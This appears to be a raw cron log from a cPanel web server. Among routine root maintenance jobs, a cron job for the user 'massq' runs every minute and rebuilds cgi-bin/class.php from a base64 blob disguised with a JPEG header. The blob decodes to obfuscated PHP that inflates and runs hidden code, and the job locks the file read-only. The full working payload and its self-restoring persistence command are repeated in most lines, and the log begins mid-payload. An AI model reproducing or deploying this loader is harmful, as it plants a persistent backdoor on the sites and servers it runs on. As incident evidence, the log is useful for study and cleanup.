g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:49:01 server CROND[6504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:50:01 server CROND[6678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:50:01 server CROND[6680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:50:01 server CROND[6681]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 23:50:01 server CROND[6685]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 23:50:01 server CROND[6682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:51:01 server CROND[6807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:52:01 server CROND[6872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:53:01 server CROND[6935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:53:01 server CROND[6936]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr  7 23:54:01 server CROND[7032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:55:01 server CROND[7099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:55:01 server CROND[7100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:55:01 server CROND[7101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:56:01 server CROND[7315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:57:01 server CROND[7396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:57:01 server CROND[7397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 23:58:01 server CROND[7469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:59:01 server CROND[7535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:00:01 server CROND[7604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 00:00:01 server CROND[7605]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr  8 00:00:01 server CROND[7609]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 00:00:01 server CROND[7610]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:00:01 server CROND[7611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:00:01 server CROND[7613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:01:01 server CROND[7777]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 00:01:01 server CROND[7778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:01:01 server run-parts(/etc/cron.hourly)[7777]: starting 0anacron
Apr  8 00:01:01 server anacron[7790]: Anacron started on 2025-04-08
Apr  8 00:01:01 server anacron[7790]: Normal exit (0 jobs run)
Apr  8 00:01:01 server run-parts(/etc/cron.hourly)[7792]: finished 0anacron
